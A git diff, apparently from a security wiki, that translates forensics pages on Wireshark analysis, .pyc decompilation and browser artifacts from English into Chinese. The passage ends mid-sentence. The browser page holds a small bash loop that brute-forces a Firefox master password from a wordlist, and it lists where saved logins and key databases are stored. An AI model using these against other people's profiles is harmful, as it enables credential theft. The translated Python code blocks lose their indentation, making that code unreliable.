b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..05298dcc7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,157 +1,155 @@ -# Wireshark tricks +# Wireshark技巧 {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## 提升你的Wireshark技能 -### Tutorials +### 教程 -The following tutorials are amazing to learn some cool basic tricks: +以下教程非常适合学习一些酷炫的基本技巧: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### 分析信息 -**Expert Information** +**专家信息** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +点击 _**分析** --> **专家信息**_ 你将获得一个 **概述**,了解在 **分析** 的数据包中发生了什么: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**已解析地址** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +在 _**统计 --> 已解析地址**_ 下,你可以找到Wireshark "已解析" 的多种 **信息**,如端口/传输到协议、MAC到制造商等。了解通信中涉及的内容是很有趣的。 ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**协议层次** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +在 _**统计 --> 协议层次**_ 下,你可以找到通信中 **涉及的协议** 及其相关数据。 ![](<../../../images/image (586).png>) -**Conversations** +**对话** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +在 _**统计 --> 对话**_ 下,你可以找到通信中的 **对话摘要** 及其相关数据。 ![](<../../../images/image (453).png>) -**Endpoints** +**端点** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +在 _**统计 --> 端点**_ 下,你可以找到通信中的 **端点摘要** 及其相关数据。 ![](<../../../images/image (896).png>) -**DNS info** +**DNS信息** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +在 _**统计 --> DNS**_ 下,你可以找到捕获的DNS请求的统计信息。 ![](<../../../images/image (1063).png>) -**I/O Graph** +**I/O图** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +在 _**统计 --> I/O图**_ 下,你可以找到 **通信图**。 ![](<../../../images/image (992).png>) -### Filters +### 过滤器 -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +在这里你可以找到根据协议的Wireshark过滤器:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +其他有趣的过滤器: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- HTTP和初始HTTPS流量 - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- HTTP和初始HTTPS流量 + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- HTTP和初始HTTPS流量 + TCP SYN + DNS请求 -### Search +### 搜索 -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +如果你想在会话的 **数据包** 中 **搜索** **内容**,请按 _CTRL+f_。你可以通过右键点击并选择编辑列来添加新的层到主信息栏(编号、时间、源等)。 -### Free pcap labs +### 免费pcap实验室 -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**通过以下免费挑战进行练习:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## 识别域名 -You can add a column that shows the Host HTTP header: +你可以添加一个显示Host HTTP头的列: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +以及一个添加来自发起HTTPS连接的服务器名称的列 (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## 识别本地主机名 -### From DHCP +### 从DHCP -In current Wireshark instead of `bootp` you need to search for `DHCP` +在当前的Wireshark中,你需要搜索 `DHCP` 而不是 `bootp` ![](<../../../images/image (1013).png>) -### From NBNS +### 从NBNS ![](<../../../images/image (1003).png>) -## Decrypting TLS +## 解密TLS -### Decrypting https traffic with server private key +### 使用服务器私钥解密https流量 _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +按 _编辑_ 并添加服务器和私钥的所有数据 (_IP、端口、协议、密钥文件和密码_) -### Decrypting https traffic with symmetric session keys +### 使用对称会话密钥解密https流量 -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Firefox和Chrome都能够记录TLS会话密钥,这可以与Wireshark一起使用以解密TLS流量。这允许对安全通信进行深入分析。有关如何执行此解密的更多详细信息,请参阅[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)中的指南。 -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +要检测此内容,请在环境中搜索变量 `SSLKEYLOGFILE` -A file of shared keys will look like this: +共享密钥的文件看起来像这样: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +要在Wireshark中导入此文件,请转到 _edit > preference > protocol > ssl > 并将其导入到 (Pre)-Master-Secret日志文件名中: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB通信 +从ADB通信中提取一个APK,其中APK被发送: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..25d712882 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,60 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# 反编译已编译的python二进制文件(exe, elf) - 从.pyc中提取 {{#include ../../../banners/hacktricks-training.md}} -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## 从已编译的二进制文件到.pyc +从一个**ELF**已编译的二进制文件中,你可以**获取.pyc**: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +在一个**python exe 二进制**文件中,你可以通过运行来**获取 .pyc**: ```bash python pyinstxtractor.py executable.exe ``` +## 从 .pyc 到 python 代码 -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +对于 **.pyc** 数据(“编译的” python),您应该开始尝试 **提取** **原始** **python** **代码**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**确保**二进制文件具有**扩展名**“**.pyc**”(如果没有,uncompyle6 将无法工作) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +在执行**uncompyle6**时,您可能会遇到**以下错误**: +### 错误:未知的魔术数字 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +要解决此问题,您需要**在生成的文件开头添加正确的魔术数字**。 -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**魔术数字因 Python 版本而异**,要获取**Python 3.8**的魔术数字,您需要**打开一个 Python 3.8**终端并执行: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +在这种情况下,python3.8 的 **magic number** 是 **`0x550d0d0a`**,然后,要修复此错误,您需要在 **.pyc 文件** 的 **开头** 添加以下字节:`0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**一旦** 您 **添加** 了该魔术头,**错误应该会被修复。** +这就是正确添加的 **.pyc python3.8 magic header** 的样子: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +62,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### 错误:反编译通用错误 -### Error: Decompiling generic errors +**其他错误**如:`class 'AssertionError'>; co_code 应该是以下类型之一 (, , , ); 是类型 ` 可能会出现。 -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +这可能意味着您**没有正确添加**魔数,或者您没有**使用**正确的魔数,因此请**确保使用正确的魔数**(或尝试一个新的)。 -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +检查之前的错误文档。 -Check the previous error documentation. +## 自动工具 -## Automatic Tool +[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 是多个社区可用工具的组合,旨在帮助研究人员解包和反编译用 Python 编写的可执行文件,特别是那些使用 py2exe 和 pyinstaller 创建的文件。它包括 YARA 规则,以识别可执行文件是否基于 Python,并确认创建工具。 -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: 文件名:'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' 不存在 -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +一个常见问题是由于 **使用 unpy2exe 或 pyinstxtractor 解包过程**导致的不完整 Python 字节码文件,这会导致 **uncompyle6 无法识别,因为缺少 Python 字节码版本号**。为了解决这个问题,添加了一个前置选项,该选项附加必要的 Python 字节码版本号,从而促进反编译过程。 +问题示例: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +96,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## 分析 Python 汇编 -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +如果您无法按照之前的步骤提取 Python "原始" 代码,那么您可以尝试 **提取** **汇编**(但 **它不是很具描述性**,所以 **尝试** 再次提取 **原始代码**)。在 [这里](https://bits.theorem.co/protecting-a-python-codebase/) 我找到了一段非常简单的代码来 **反汇编** _.pyc_ 二进制文件(祝您理解代码流程好运)。如果 _.pyc_ 是来自 Python2,请使用 Python2: ```bash >>> import dis >>> import marshal @@ -145,34 +124,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python 转为可执行文件 -## Python to Executable +首先,我们将向您展示如何在 py2exe 和 PyInstaller 中编译有效载荷。 -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### 使用 py2exe 创建有效载荷: +1. 从 [http://www.py2exe.org/](http://www.py2exe.org) 安装 py2exe 包 +2. 对于有效载荷(在这种情况下,我们将其命名为 hello.py),使用如图 1 所示的脚本。选项“bundle_files”的值为 1,将把所有内容(包括 Python 解释器)打包成一个 exe。 +3. 一旦脚本准备好,我们将发出命令“python setup.py py2exe”。这将创建可执行文件,就像图 2 中所示。 ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +157,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +177,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### 使用 PyInstaller 创建有效载荷: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. 使用 pip 安装 PyInstaller(pip install pyinstaller)。 +2. 之后,我们将发出命令“pyinstaller –onefile hello.py”(提醒一下,‘hello.py’ 是我们的有效载荷)。这将把所有内容打包成一个可执行文件。 ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +193,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## 参考 - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..ab551ab78 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,4 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Here you can find interesting tricks for specific file-types and/or software: +这里您可以找到针对特定文件类型和/或软件的有趣技巧: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..63b31e136 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# 浏览器伪影 {{#include ../../../banners/hacktricks-training.md}} -
+## 浏览器伪影 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +浏览器伪影包括由网络浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪影保存在操作系统中的特定文件夹中,不同浏览器的存储位置和名称各异,但通常存储相似类型的数据。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +以下是最常见的浏览器伪影的总结: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **导航历史**:跟踪用户访问的网站,识别访问恶意网站的情况。 +- **自动完成数据**:基于频繁搜索的建议,与导航历史结合时提供洞察。 +- **书签**:用户保存以便快速访问的网站。 +- **扩展和附加组件**:用户安装的浏览器扩展或附加组件。 +- **缓存**:存储网页内容(例如,图像、JavaScript 文件),以提高网站加载速度,对取证分析有价值。 +- **登录信息**:存储的登录凭据。 +- **网站图标**:与网站相关的图标,出现在标签和书签中,有助于提供用户访问的额外信息。 +- **浏览器会话**:与打开的浏览器会话相关的数据。 +- **下载**:通过浏览器下载的文件记录。 +- **表单数据**:在网页表单中输入的信息,保存以供将来的自动填充建议。 +- **缩略图**:网站的预览图像。 +- **自定义字典.txt**:用户添加到浏览器字典中的单词。 ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini` 中 `Path` 变量命名的文件夹中,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。 -Within each profile folder, you can find several important files: +在每个配置文件文件夹中,您可以找到几个重要文件: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: 存储历史、书签和下载。像 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 这样的工具可以在 Windows 上访问历史数据。 +- 使用特定的 SQL 查询提取历史和下载信息。 +- **bookmarkbackups**: 包含书签的备份。 +- **formhistory.sqlite**: 存储网页表单数据。 +- **handlers.json**: 管理协议处理程序。 +- **persdict.dat**: 自定义字典单词。 +- **addons.json** 和 **extensions.sqlite**: 有关已安装的附加组件和扩展的信息。 +- **cookies.sqlite**: Cookie 存储,Windows 上可以使用 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) 进行检查。 +- **cache2/entries** 或 **startupCache**: 缓存数据,可以通过像 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 这样的工具访问。 +- **favicons.sqlite**: 存储网站图标。 +- **prefs.js**: 用户设置和偏好。 +- **downloads.sqlite**: 较旧的下载数据库,现在已集成到 places.sqlite 中。 +- **thumbnails**: 网站缩略图。 +- **logins.json**: 加密的登录信息。 +- **key4.db** 或 **key3.db**: 存储用于保护敏感信息的加密密钥。 -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +此外,可以通过在 `prefs.js` 中搜索 `browser.safebrowsing` 条目来检查浏览器的反钓鱼设置,以指示安全浏览功能是否启用或禁用。 +要尝试解密主密码,可以使用 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +使用以下脚本和调用,您可以指定一个密码文件进行暴力破解: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome 根据操作系统将用户配置文件存储在特定位置: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +在这些目录中,大多数用户数据可以在 **Default/** 或 **ChromeDefaultData/** 文件夹中找到。以下文件包含重要数据: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: 包含 URL、下载和搜索关键字。在 Windows 上,可以使用 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) 来读取历史记录。“Transition Type” 列有多种含义,包括用户点击链接、输入的 URL、表单提交和页面重新加载。 +- **Cookies**: 存储 cookies。可以使用 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) 进行检查。 +- **Cache**: 存储缓存数据。要检查,Windows 用户可以使用 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)。 +- **Bookmarks**: 用户书签。 +- **Web Data**: 包含表单历史。 +- **Favicons**: 存储网站图标。 +- **Login Data**: 包含登录凭据,如用户名和密码。 +- **Current Session**/**Current Tabs**: 当前浏览会话和打开标签的数据。 +- **Last Session**/**Last Tabs**: Chrome 关闭前最后会话期间活动网站的信息。 +- **Extensions**: 浏览器扩展和附加组件的目录。 +- **Thumbnails**: 存储网站缩略图。 +- **Preferences**: 一个信息丰富的文件,包括插件、扩展、弹出窗口、通知等的设置。 +- **Browser’s built-in anti-phishing**: 要检查反钓鱼和恶意软件保护是否启用,请运行 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找 `{"enabled: true,"}`。 ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +如前所述,Chrome 和 Firefox 使用 **SQLite** 数据库存储数据。可以使用工具 [**sqlparse**](https://github.com/padfoot999/sqlparse) **或** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **恢复已删除的条目**。 ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 在多个位置管理其数据和元数据,帮助分离存储的信息及其对应的详细信息,以便于访问和管理。 ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with 